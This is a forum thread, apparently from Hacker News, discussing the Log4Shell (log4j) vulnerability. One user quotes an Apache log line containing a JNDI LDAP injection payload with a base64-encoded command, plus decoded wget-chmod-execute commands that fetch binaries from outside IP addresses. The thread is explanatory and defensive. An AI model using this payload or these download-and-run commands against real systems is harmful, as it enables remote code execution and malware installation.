3 ms·
If you're logging requests you're in trouble. Here's one from my apache log file 45.137.21.9 - - [11/Dec/2021:02:31:17 +0000] "POST / HTTP/1.1" 301 554 "-"
by iso1631 5y ago
If you're logging requests you're in trouble.
Here's one from my apache log file
45.137.21.9 - - [11/Dec/2021:02:31:17 +0000] "POST / HTTP/1.1" 301 554 "-" "${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}"
If that were processed with log4J I believe it would decode it, connect to 45.137.21.9 po port 1389, then somehow execute
wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh
Which itself downloads
wget http://62.210.130.250/web/admin/x86;chmod +x x86;./x86 x86;
wget http://62.210.130.250/web/admin/x86_g;chmod +x x86_g;./x86_g x86_g;
wget http://62.210.130.250/web/admin/x86_64;chmod +x x86_64;./x86_g x86_64;
However as I don't have log4j on the outside it's fine (it gets redirected to https, and then asked for an x509 certificate, which it doesn't provide, so gets dropped)
Minecraft logs every message from other players it receives, so all you have to do is type a message and everyone on the server is exploited.
- taeric 5y agoI think it depends how you log the request. If you did Logger.debug(request) Vulnerable If you did Logger.debug("{}", request) Safe? Reminds me of early days where sending printf directives to friends in chat applications could cause a crash. Edit: I see some other comments are indicating parameters are also vulnerable. Crazy.
- altdataseller 5y agoAnd if you have a web crawler that just crawled this post and logs the contents using log4j, you are likely to be exploited too. facepalm